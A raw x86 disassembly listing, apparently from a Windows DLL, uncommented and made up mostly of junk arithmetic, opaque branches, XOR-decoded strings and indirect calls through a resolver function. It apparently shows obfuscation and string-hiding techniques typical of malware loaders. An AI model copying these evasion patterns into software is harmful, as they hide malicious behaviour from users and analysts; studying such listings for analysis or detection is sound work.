cmp eax, dword [ebp - 0x29c]
jne 0x100301ac
mov dword [ebp - 0x180], 0x2634
mov byte [0x100a207b], 0xe4
movsx ecx, word [0x100a20f0]
add ecx, 0xcc
mov dword [0x100a2120], ecx
mov edx, dword [ebp - 0x18]
xor eax, eax
sub edx, 0xfd768743
sbb eax, 0x379e6
mov dword [0x100a2108], edx
mov dword [0x100a210c], eax
movzx eax, word [0x100a20e0]
cdq
mov ecx, dword [0x100a2144]
push ecx
mov ecx, dword [0x100a2140]
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, eax
mov esi, edx
movzx eax, word [0x100a20e0]
cdq
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov word [0x100a20e0], ax
mov eax, dword [0x100a2120]
cdq
push edx
push eax
mov edx, dword [0x100a2144]
push edx
mov eax, dword [0x100a2140]
push eax
call fcn.10073ef0
mov dword [ebp - 0x8bc], eax
mov dword [ebp - 0x8b8], edx
mov ecx, dword [ebp - 0x8bc]
or ecx, dword [ebp - 0x8b8]
jne 0x10030135
xor edx, edx
mov dword [ebp - 0x8c4], 1
mov dword [ebp - 0x8c0], edx
jmp 0x10030140
xorps xmm0, xmm0
movlpd qword [ebp - 0x8c4], xmm0
movsx eax, word [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [0x100a20fc]
push eax
mov ecx, dword [0x100a20f8]
push ecx
call fcn.10073ef0
add eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x180], 0x2523
jle 0x100301ac
mov edx, dword [ebp - 0x38]
add edx, 0x2d249e58
mov word [0x100a20f0], dx
movzx eax, word [0x100a20e0]
movzx ecx, byte [ebp - 1]
xor eax, ecx
movzx edx, word [0x100a20e0]
add edx, eax
mov word [0x100a20e0], dx
mov eax, dword [ebp - 0x180]
sub eax, 1
mov dword [ebp - 0x180], eax
jmp 0x10030162
mov ecx, dword [ebp - 0x184]
add ecx, 0x58a
mov dword [ebp - 0xd04], ecx
cmp dword [0x100a2120], 0
je 0x100302eb
mov ecx, dword [ebp - 0x2c]
sub ecx, 0xf8235430
movzx eax, byte [ebp - 1]
cdq
add eax, ecx
mov byte [ebp - 1], al
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x8cc], edx
mov dword [ebp - 0x8c8], eax
mov ecx, dword [ebp - 0x8cc]
or ecx, dword [ebp - 0x8c8]
jne 0x10030217
xor edx, edx
mov dword [ebp - 0x540], 1
mov dword [ebp - 0x53c], edx
jmp 0x10030222
xorps xmm0, xmm0
movlpd qword [ebp - 0x540], xmm0
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x53c]
push edx
mov eax, dword [ebp - 0x540]
push eax
call fcn.10073ef0
mov dword [ebp - 0x8d4], eax
mov dword [ebp - 0x8d0], edx
mov ecx, dword [ebp - 0x8d4]
or ecx, dword [ebp - 0x8d0]
jne 0x10030263
mov dword [ebp - 0x2a0], 1
jmp 0x1003026d
mov dword [ebp - 0x2a0], 0
movzx edx, byte [ebp - 3]
or edx, 0x8d
not edx
imul eax, edx, 0xac
test eax, eax
jne 0x1003028f
mov dword [ebp - 0x2a4], 1
jmp 0x10030299
mov dword [ebp - 0x2a4], 0
movzx ecx, word [0x100a2138]
not ecx
mov eax, ecx
imul eax, dword [ebp - 0x2a0]
sub eax, dword [ebp - 0x2a4]
cdq
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
mov edx, 0xa5
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x2c]
sub eax, 0xb457a374
mov dword [0x100a2104], eax
movzx eax, word [0x100a20e0]
add eax, 0xfe9
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
jmp 0x100303d8
movzx eax, word [0x100a2124]
cdq
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
mov dword [ebp - 0x8dc], eax
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 0x8e4], ecx
mov dword [ebp - 0x8e0], esi
mov edx, dword [ebp - 0x8d8]
cmp edx, dword [ebp - 0x8e0]
jb 0x100303d8
ja 0x1003033d
mov eax, dword [ebp - 0x8dc]
cmp eax, dword [ebp - 0x8e4]
jb 0x100303d8
movsx eax, word [0x100a20c8]
add eax, 0xc1
cdq
add eax, dword [0x100a20f8]
adc edx, dword [0x100a20fc]
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
mov ecx, dword [ebp - 0x34]
or ecx, dword [ebp - 0x30]
je 0x1003037c
mov edx, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x4c4], edx
mov dword [ebp - 0x4c0], eax
jmp 0x10030394
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0x4c4], ecx
mov dword [ebp - 0x4c0], edx
mov eax, dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x4c0]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov edx, dword [0x100a20d0]
sub edx, 0x4d7f595a
mov eax, dword [0x100a20d4]
sbb eax, 0x7f1b1
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
add ecx, edx
adc esi, eax
mov dword [0x100a2108], ecx
mov dword [0x100a210c], esi
mov edx, dword [ebp - 0x184]
add edx, 0x523
mov dword [ebp - 0xd08], edx
xor eax, eax
mov byte [ebp - 0x77], al
lea ecx, [ebp - 0xe38]
push ecx
lea ecx, [ebp - 0x77]
call fcn.10004700
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], 0
jmp 0x10030416
mov edx, dword [ebp - 0x80]
add edx, 1
mov dword [ebp - 0x80], edx
cmp dword [ebp - 0x80], 0xa
jae 0x1003046f
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x84]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x740], edx
mov eax, dword [ebp - 0x740]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x84]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x144], cx
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x84]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x744], eax
mov ecx, dword [ebp - 0x744]
mov dx, word [ebp - 0x144]
mov word [ecx], dx
jmp 0x1003040d
mov eax, 0xa
shl eax, 1
mov ecx, dword [ebp - 0x84]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x748], edx
xor eax, eax
mov ecx, dword [ebp - 0x748]
mov word [ecx], ax
mov edx, dword [ebp - 0x84]
add edx, 2
mov dword [ebp - 0x74c], edx
mov eax, dword [ebp - 0x74c]
push eax
lea ecx, [ebp - 0x1408]
push ecx
push 0
push 0
call fcn.10001320
call eax
xor edx, edx
mov byte [ebp - 0x75], dl
lea eax, [ebp - 0xe94]
push eax
lea ecx, [ebp - 0x75]
call fcn.100049e0
mov dword [ebp - 0x88], eax
mov dword [ebp - 0xbc], 0
jmp 0x100304ee
mov ecx, dword [ebp - 0xbc]
add ecx, 1
mov dword [ebp - 0xbc], ecx
cmp dword [ebp - 0xbc], 0xe
jae 0x10030550
mov edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x88]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x750], ecx
mov edx, dword [ebp - 0x750]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
xor eax, edx
mov word [ebp - 0x146], ax
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x88]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x754], edx
mov eax, dword [ebp - 0x754]
mov cx, word [ebp - 0x146]
mov word [eax], cx
jmp 0x100304df
mov edx, 0xe
shl edx, 1
mov eax, dword [ebp - 0x88]
lea ecx, [eax + edx + 2]
mov dword [ebp - 0x758], ecx
xor edx, edx
mov eax, dword [ebp - 0x758]
mov word [eax], dx
mov ecx, dword [ebp - 0x88]
add ecx, 2
mov dword [ebp - 0x75c], ecx
mov edx, dword [ebp - 0x75c]
push edx
lea eax, [ebp - 0x1408]
push eax
push 0
push 0
call fcn.10001320
call eax
xor ecx, ecx
mov byte [ebp - 0x131], cl
mov byte [ebp - 0x1bc], 0x60
xor edx, edx
mov byte [ebp - 0x1bb], dl
mov eax, 0x4e
mov word [ebp - 0x1ba], ax
mov ecx, 0xd
mov word [ebp - 0x1b8], cx
mov edx, 0x13
mov word [ebp - 0x1b6], dx
mov eax, 0x10
mov word [ebp - 0x1b4], ax
xor ecx, ecx
mov word [ebp - 0x1b2], cx
mov dword [ebp - 0x8c], 0
jmp 0x10030605
mov edx, dword [ebp - 0x8c]
add edx, 1
mov dword [ebp - 0x8c], edx
cmp dword [ebp - 0x8c], 4
jae 0x1003065f
mov eax, dword [ebp - 0x8c]
lea ecx, [ebp + eax*2 - 0x1ba]
mov dword [ebp - 0x760], ecx
mov edx, dword [ebp - 0x760]
movzx eax, word [edx]
movsx ecx, byte [ebp - 0x1bc]
xor eax, ecx
mov word [ebp - 0x148], ax
mov edx, dword [ebp - 0x8c]
lea eax, [ebp + edx*2 - 0x1ba]
mov dword [ebp - 0x764], eax
mov ecx, dword [ebp - 0x764]
mov dx, word [ebp - 0x148]
mov word [ecx], dx
jmp 0x100305f6
mov eax, 4
shl eax, 1
lea ecx, [ebp + eax - 0x1ba]
mov dword [ebp - 0x768], ecx
xor edx, edx
mov eax, dword [ebp - 0x768]
mov word [eax], dx
lea ecx, [ebp - 0x1ba]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x76c]
push edx
lea eax, [ebp - 0x1408]
push eax
push 0
push 0
call fcn.10001320
call eax
mov dword [ebp - 0x188], 0x2a
jmp 0x100306be
mov ecx, dword [ebp - 0x188]
sub ecx, 1
mov dword [ebp - 0x188], ecx
cmp dword [ebp - 0x188], 0
jle 0x10030e13
mov eax, dword [0x100a2114]
not eax
cdq
mov ecx, dword [0x100a20f8]
not ecx
mov esi, dword [0x100a20fc]
not esi
mov dword [ebp - 0x8ec], eax
mov dword [ebp - 0x8e8], edx
mov dword [ebp - 0x8f4], ecx
mov dword [ebp - 0x8f0], esi
mov edx, dword [ebp - 0x8ec]
cmp edx, dword [ebp - 0x8f4]
jne 0x10030717
mov eax, dword [ebp - 0x8e8]
cmp eax, dword [ebp - 0x8f0]
je 0x10030729
cmp dword [ebp - 0x58], 0
jne 0x10030729
mov ecx, dword [ebp - 0x34]
or ecx, dword [ebp - 0x30]
je 0x10030d7a
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov dword [ebp - 0xd0c], eax
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [0x100a20f4], eax
cmp dword [0x100a20f4], 0
je 0x1003075b
mov dword [ebp - 0x2a8], 1
jmp 0x10030765
mov dword [ebp - 0x2a8], 0
cmp dword [0x100a20f4], 0x17
je 0x1003077a
mov dword [ebp - 0x2ac], 1
jmp 0x10030784
mov dword [ebp - 0x2ac], 0
mov ecx, dword [ebp - 0x2a8]
cmp ecx, dword [ebp - 0x2ac]
jl 0x10030a33
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
mov dword [ebp - 0x8fc], edx
mov dword [ebp - 0x8f8], eax
mov dword [ebp - 0x904], ecx
mov dword [ebp - 0x900], esi
mov edx, dword [ebp - 0x8f8]
cmp edx, dword [ebp - 0x900]
ja 0x100307ef
jb 0x100307e3
mov eax, dword [ebp - 0x8fc]
cmp eax, dword [ebp - 0x904]
jae 0x100307ef
mov dword [ebp - 0x2b0], 1
jmp 0x100307f9
mov dword [ebp - 0x2b0], 0
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x90c], ecx
mov dword [ebp - 0x908], edx
cmp dword [ebp - 0x908], 0
ja 0x10030831
jb 0x10030825
cmp dword [ebp - 0x90c], 0x58
jae 0x10030831
mov dword [ebp - 0x2b4], 1
jmp 0x1003083b
mov dword [ebp - 0x2b4], 0
mov eax, dword [ebp - 0x2b0]
cmp eax, dword [ebp - 0x2b4]
je 0x10030885
movzx ecx, word [0x100a2118]
sub ecx, 0x468d
mov word [ebp - 8], cx
movsx eax, byte [0x100a2027]
cdq
xor eax, 0xeaf6751d
mov word [0x100a20f0], ax
movsx edx, byte [str.y4The_server_is_requ]
imul eax, edx, 0xa1
mov word [0x100a20c8], ax
jmp 0x10030a2e
movsx ecx, byte [0x100a2027]
test ecx, ecx
jne 0x1003089c
mov dword [ebp - 0x2b8], 1
jmp 0x100308a6
mov dword [ebp - 0x2b8], 0
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 0x2b8]
jne 0x100308bd
mov dword [ebp - 0x2bc], 1
jmp 0x100308c7
mov dword [ebp - 0x2bc], 0
movzx eax, byte [ebp - 1]
not eax
cmp dword [ebp - 0x2bc], eax
jle 0x1003092f
movzx ecx, word [ebp - 8]
mov edx, dword [ebp - 0x38]
sub edx, ecx
mov eax, dword [ebp - 0x38]
sub eax, edx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x58]
sar ecx, 7
mov dword [0x100a20d8], ecx
push 0
push 0x5bf3
mov edx, dword [ebp - 0x44]
push edx
mov eax, dword [ebp - 0x48]
push eax
call fcn.10073ef0
mov byte [ebp - 3], al
movzx eax, byte [ebp - 1]
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
sub ecx, eax
sbb esi, edx
mov dword [0x100a2150], ecx
mov dword [0x100a2154], esi
jmp 0x10030a2e
cmp dword [0x100a20f4], 0
je 0x10030a2e
movsx edx, byte [0x100a203b]
test edx, edx
jne 0x10030953
mov dword [ebp - 0x2c0], 1
jmp 0x1003095d
mov dword [ebp - 0x2c0], 0
movsx eax, word [ebp - 0xc]
movsx ecx, word [0x100a20f0]
add eax, ecx
mov edx, dword [ebp - 0x64]
not edx
add eax, edx
mov ecx, dword [ebp - 0x2c0]
sub ecx, dword [0x100a20d8]
xor eax, ecx
mov word [0x100a20f0], ax
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
mov dword [ebp - 0x914], edx
mov dword [ebp - 0x910], eax
mov ecx, dword [ebp - 0x914]
or ecx, dword [ebp - 0x910]
je 0x100309c0
movsx eax, byte [0x100a2027]
cdq
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x544], edx
jmp 0x100309d2
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x548], edx
mov dword [ebp - 0x544], eax
mov ecx, dword [ebp - 0x548]
mov dword [0x100a20e4], ecx
movzx edx, word [ebp - 0x10]
imul eax, edx, 0x65
test eax, eax
jne 0x100309fd
xor ecx, ecx
mov dword [ebp - 0x550], 1
mov dword [ebp - 0x54c], ecx
jmp 0x10030a08
xorps xmm0, xmm0
movlpd qword [ebp - 0x550], xmm0
mov edx, dword [ebp - 0x550]
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], eax
movzx ecx, word [0x100a20e0]
imul eax, ecx, 0x20e593cd
cdq
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
jmp 0x10030d75
mov edx, dword [0x100a20d0]
not edx
mov eax, dword [0x100a20d4]
not eax
mov dword [ebp - 0x91c], edx
mov dword [ebp - 0x918], eax
mov ecx, dword [ebp - 0x91c]
or ecx, dword [ebp - 0x918]
je 0x10030ae9
imul edx, dword [ebp - 0x38], 0xd5ed6453
movzx eax, byte [0x100a207a]
xor eax, edx
mov byte [0x100a207a], al
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0xd10], edx
add ecx, 0x3d0
mov byte [0x100a2027], cl
mov eax, dword [0x100a20f4]
sub eax, 1
mov dword [0x100a20f4], eax
movzx ecx, word [0x100a2138]
imul eax, ecx, 0x337e
cdq
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
push 0
push 0xf8abdac8
mov edx, dword [0x100a20fc]
push edx
mov eax, dword [0x100a20f8]
push eax
call fcn.10073ef0
mov ecx, eax
movsx eax, word [0x100a20f0]
cdq
sub eax, ecx
mov word [0x100a20f0], ax
jmp 0x10030d75
mov edx, dword [ebp - 0x48]
or edx, dword [ebp - 0x44]
je 0x10030be3
mov eax, dword [0x100a20d8]
sub eax, 0x3806af62
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x60]
add ecx, 0x8300
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x64]
mov dword [0x100a2120], edx
mov ecx, dword [0x100a20d0]
not ecx
mov eax, dword [0x100a2104]
cdq
sub eax, dword [0x100a20d0]
not eax
sub ecx, eax
mov dword [0x100a2128], ecx
movsx edx, word [ebp - 0xc]
movsx eax, word [0x100a2110]
add edx, eax
jne 0x10030b50
mov dword [ebp - 0x2c4], 1
jmp 0x10030b5a
mov dword [ebp - 0x2c4], 0
movsx eax, word [0x100a20c8]
sub eax, dword [ebp - 0x2c4]
cdq
mov esi, eax
push 0x50bd2
push 0xcc61d4dc
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x60]
push edx
call fcn.10073ef0
mov ecx, eax
mov eax, dword [0x100a20f4]
add eax, 0x854e
cdq
xor ecx, eax
add esi, ecx
mov dword [ebp - 0x4c], esi
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
mov dword [ebp - 0x924], edx
mov dword [ebp - 0x920], eax
mov ecx, dword [ebp - 0x924]
or ecx, dword [ebp - 0x920]
je 0x10030bc6
movzx edx, word [ebp - 8]
mov dword [ebp - 0x2c8], edx
jmp 0x10030bd1
mov eax, dword [0x100a2114]
mov dword [ebp - 0x2c8], eax
mov eax, dword [ebp - 0x2c8]
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
jmp 0x10030d75
mov ecx, dword [0x100a20f8]
not ecx
mov edx, dword [0x100a20fc]
not edx
mov eax, dword [0x100a2108]
mov esi, dword [0x100a210c]
mov dword [ebp - 0x92c], ecx
mov dword [ebp - 0x928], edx
mov dword [ebp - 0x934], eax
mov dword [ebp - 0x930], esi
mov ecx, dword [ebp - 0x928]
cmp ecx, dword [ebp - 0x930]
jb 0x10030c40
ja 0x10030c34
mov edx, dword [ebp - 0x92c]
cmp edx, dword [ebp - 0x934]
jb 0x10030c40
mov dword [ebp - 0x2cc], 1
jmp 0x10030c4a
mov dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x2cc]
cmp eax, dword [0x100a2100]
ja 0x10030d75
mov eax, dword [0x100a2128]
cdq
mov ecx, dword [0x100a210c]
add eax, dword [0x100a2108]
adc edx, ecx
add eax, 0xffff9569
adc edx, 0xffffffff
mov dword [ebp - 0x93c], eax
mov dword [ebp - 0x938], edx
mov edx, dword [ebp - 0x93c]
or edx, dword [ebp - 0x938]
jne 0x10030c9e
mov dword [ebp - 0x2d0], 1
jmp 0x10030ca8
mov dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x18], eax
mov cx, word [0x100a2140]
mov word [0x100a211c], cx
mov edx, dword [ebp - 0x4c]
add edx, dword [ebp - 0x40]
jne 0x10030cd3
mov dword [ebp - 0x2d4], 1
jmp 0x10030cdd
mov dword [ebp - 0x2d4], 0
movzx eax, word [0x100a211c]
cdq
add eax, dword [ebp - 0x48]
adc edx, dword [ebp - 0x44]
mov dword [ebp - 0x944], eax
mov dword [ebp - 0x940], edx
mov eax, dword [ebp - 0x944]
or eax, dword [ebp - 0x940]
jne 0x10030d11
mov dword [ebp - 0x2d8], 1
jmp 0x10030d1b
mov dword [ebp - 0x2d8], 0
mov ecx, dword [ebp - 0x2d4]
sub ecx, dword [ebp - 0x2d8]
jne 0x10030d35
mov dword [ebp - 0x2dc], 1
jmp 0x10030d3f
mov dword [ebp - 0x2dc], 0
movsx eax, word [ebp - 0xc]
movsx edx, word [0x100a20f0]
xor eax, edx
movzx ecx, word [0x100a211c]
movzx edx, byte [str.HeapSize]
sub ecx, edx
sub eax, ecx
not eax
imul eax, dword [ebp - 0x2dc]
not eax
cdq
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
jmp 0x10030e02
movzx eax, byte [0x100a207b]
add eax, dword [0x100a20dc]
movzx ecx, byte [0x100a207b]
add ecx, eax
mov byte [0x100a207b], cl
movzx edx, byte [ebp - 3]
test edx, edx
je 0x10030db7
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x554], ecx
jmp 0x10030dc8
movzx eax, byte [ebp - 2]
cdq
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x554], edx
mov edx, dword [ebp - 0x558]
mov dword [ebp - 0x3c], edx
mov eax, dword [0x100a2120]
mov word [0x100a20f0], ax
mov ecx, dword [ebp - 0x2c]
xor edx, edx
push 0xbf7d4
push 0xd85c4c37
push edx
push ecx
call fcn.10073ef0
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sub eax, 0xaa
mov byte [str.y4The_server_is_requ], al
mov cx, word [ebp - 8]
add cx, 1
mov word [ebp - 8], cx
jmp 0x100306af
mov edx, dword [ebp - 0x2e0]
add edx, dword [ebp - 0x2e0]
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x774]
cmp edx, eax
je 0x1003687b
movzx ecx, word [0x100a211c]
sub ecx, 0x88
mov dword [0x100a2120], ecx
movzx edx, word [0x100a2124]
test edx, edx
je 0x10030e5e
mov eax, dword [0x100a20dc]
mov dword [ebp - 0x2e4], eax
jmp 0x10030e68
movzx ecx, byte [ebp - 1]
mov dword [ebp - 0x2e4], ecx
mov edx, dword [ebp - 0x2e4]
xor eax, eax
mov dword [0x100a20f8], edx
mov dword [0x100a20fc], eax
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0xd14], edx
xor ecx, 0x9424
mov dword [0x100a2104], ecx
cmp dword [ebp - 0x1c], 0
jne 0x10030ea5
mov dword [ebp - 0x2ec], 1
jmp 0x10030eaf
mov dword [ebp - 0x2ec], 0
cmp dword [0x100a2104], 0
jne 0x10030ec4
mov dword [ebp - 0x2e8], 1
jmp 0x10030ece
mov dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x2e8]
sub eax, dword [ebp - 0x1c]
jne 0x10030ee5
mov dword [ebp - 0x2f0], 1
jmp 0x10030eef
mov dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x2ec]
cdq
mov ecx, eax
mov esi, edx
movsx eax, word [ebp - 0xc]
cdq
add eax, dword [0x100a20f8]
adc edx, dword [0x100a20fc]
sub ecx, eax
sbb esi, edx
mov eax, dword [0x100a2104]
imul eax, dword [ebp - 0x2f0]
cdq
push edx
push eax
push esi
push ecx
call fcn.10073ef0
not eax
mov word [0x100a2110], ax
xor edx, edx
mov dword [0x100a2150], 0x9c79d8c5
mov dword [0x100a2154], edx
mov eax, dword [0x100a2150]
mov ecx, dword [0x100a2154]
mov edx, dword [0x100a20dc]
xor esi, esi
mov dword [ebp - 0x94c], eax
mov dword [ebp - 0x948], ecx
mov dword [ebp - 0x954], edx
mov dword [ebp - 0x950], esi
mov eax, dword [ebp - 0x94c]
cmp eax, dword [ebp - 0x954]
jne 0x10030f89
mov ecx, dword [ebp - 0x948]
cmp ecx, dword [ebp - 0x950]
je 0x10030fcb
movsx edx, word [0x100a2110]
sub edx, 0x25
mov dword [ebp - 0x64], edx
mov ax, word [ebp - 0x60]
mov ecx, 2
imul edx, ecx, 0x8fc
mov word [edx + 0x102b7710], ax
mov eax, dword [ebp - 0x48]
sub eax, 0x76ad16de
mov ecx, dword [ebp - 0x3c]
and ecx, eax
mov dword [ebp - 0x3c], ecx
mov edx, dword [0x100a20e4]
add edx, dword [ebp - 0x18]
mov dword [0x100a20e4], edx
mov eax, dword [0x100a2148]
mov ecx, dword [0x100a214c]
xor edx, edx
mov esi, dword [0x100a2150]
mov edi, dword [0x100a2154]
add esi, dword [ebp - 0x18]
adc edi, edx
mov dword [ebp - 0x95c], eax
mov dword [ebp - 0x958], ecx
mov dword [ebp - 0x964], esi
mov dword [ebp - 0x960], edi
mov eax, dword [ebp - 0x95c]
cmp eax, dword [ebp - 0x964]
jne 0x10031190
mov ecx, dword [ebp - 0x958]
cmp ecx, dword [ebp - 0x960]
jne 0x10031190
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xd18], eax
add edx, 0xffffff8e
mov dword [ebp - 0x18], edx
mov ecx, dword [0x100a2c3c]
xor edx, edx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], edx
xor eax, eax
mov dword [0x100a2148], 0xb707
mov dword [0x100a214c], eax
movsx ecx, byte [0x100a203b]
mov edx, dword [ebp - 0x2c]
sub edx, ecx
mov eax, dword [ebp - 0x2c]
sub eax, edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x96c], ecx
mov dword [ebp - 0x968], edx
mov eax, dword [ebp - 0x96c]
or eax, dword [ebp - 0x968]
je 0x10031096
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov word [0x100a2110], ax
movsx ecx, byte [str.y4The_server_is_requ]
mov edx, dword [ebp - 0x38]
sub edx, 0x364f464
cmp ecx, edx
jne 0x10031190
jmp 0x10030f30
mov eax, 0x66
mov word [0x100a2138], ax
mov eax, dword [0x100a2130]
mov edx, dword [0x100a2134]
mov cl, 1
call fcn.10073f30
mov word [ebp - 0xc], ax
mov dword [ebp - 0x38], 0x78
movzx ecx, word [0x100a2124]
mov edx, dword [ebp - 0x38]
add edx, 0xf48
cmp ecx, edx
jne 0x10031265
movzx eax, word [0x100a211c]
add eax, dword [ebp - 0x28]
cmp eax, 1
jne 0x10031265
mov ecx, dword [0x100a2c3c]
xor edx, edx
mov dword [0x100a20e8], ecx
mov dword [0x100a20ec], edx
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
push 0
push 0x967264a3
push ecx
push eax
call fcn.10073ef0
mov dword [ebp - 0x28], eax
movzx edx, word [0x100a20e0]
mov eax, dword [ebp - 0x28]
imul eax, edx
mov ecx, dword [ebp - 0x28]
add ecx, eax
mov dword [ebp - 0x28], ecx
jmp 0x10031190
mov ecx, dword [ebp - 0x40]
not ecx
movzx edx, byte [ebp - 1]
xor ecx, edx
jne 0x10031286
xor eax, eax
mov dword [ebp - 0x568], 1
mov dword [ebp - 0x564], eax
jmp 0x10031291
xorps xmm0, xmm0
movlpd qword [ebp - 0x568], xmm0
movzx eax, byte [ebp - 2]
movsx ecx, byte [str.y4The_server_is_requ]
sub eax, ecx
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x38]
cdq
mov edi, dword [ebp - 0x34]
sub edi, eax
mov eax, dword [ebp - 0x30]
sbb eax, edx
and ecx, edi
and esi, eax
mov edx, dword [0x100a20f8]
sub edx, dword [ebp - 0x568]
mov eax, dword [0x100a20fc]
sbb eax, dword [ebp - 0x564]
push eax
push edx
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a20dc], eax
movzx ecx, word [ebp - 0x14]
add ecx, 0x51aafaf1
mov eax, dword [0x100a20f8]
mov edx, dword [0x100a20fc]
call fcn.10073f50
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
movzx ecx, byte [str.HeapSize]
mov edx, dword [ebp - 0x64]
sub edx, ecx
add edx, dword [ebp - 0x64]
mov dword [ebp - 0x64], edx
lea eax, [ebp - 0x1408]
push eax
mov ecx, dword [0x102f2c14]
push ecx
call fcn.1003d850
test eax, eax
je 0x10032015
movzx edx, byte [ebp - 3]
test edx, edx
je 0x1003161f
mov eax, dword [0x100a2130]
mov ecx, dword [0x100a2134]
mov edx, dword [0x100a20d8]
xor esi, esi
mov dword [ebp - 0x97c], eax
mov dword [ebp - 0x978], ecx
mov dword [ebp - 0x984], edx
mov dword [ebp - 0x980], esi
mov eax, dword [ebp - 0x978]
cmp eax, dword [ebp - 0x980]
ja 0x1003138d
jb 0x10031381
mov ecx, dword [ebp - 0x97c]
cmp ecx, dword [ebp - 0x984]
jae 0x1003138d
mov dword [ebp - 0x2f4], 1
jmp 0x10031397
mov dword [ebp - 0x2f4], 0
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
mov dword [ebp - 0x98c], edx
mov dword [ebp - 0x988], eax
cmp dword [ebp - 0x988], 0
ja 0x100313ce
jb 0x100313c2
cmp dword [ebp - 0x98c], 9
jae 0x100313ce
mov dword [ebp - 0x2f8], 1
jmp 0x100313d8
mov dword [ebp - 0x2f8], 0
mov ecx, dword [ebp - 0x2f4]
cmp ecx, dword [ebp - 0x2f8]
jle 0x100315a0
cmp dword [0x100a20f4], 0
je 0x10031487
mov eax, dword [ebp - 0x1c]
cdq
push 0xc5168
push 0xb279cc08
push edx
push eax
call fcn.10073ef0
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
movzx edx, byte [0x100a207a]
imul eax, edx, 0x95a21e1c
movzx ecx, word [ebp - 0x14]
add ecx, eax
mov word [ebp - 0x14], cx
movsx edx, byte [0x100a2027]
mov eax, dword [0x100a2128]
lea ecx, [edx + eax + 0x50acfa9a]
mov byte [0x100a2027], cl
mov dword [ebp - 0x64], 0x7f
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0xd1c], edx
xor ecx, 0x3bd416e6
mov eax, dword [0x100a2128]
cdq
add eax, ecx
mov dword [0x100a2128], eax
mov eax, dword [ebp - 0x3c]
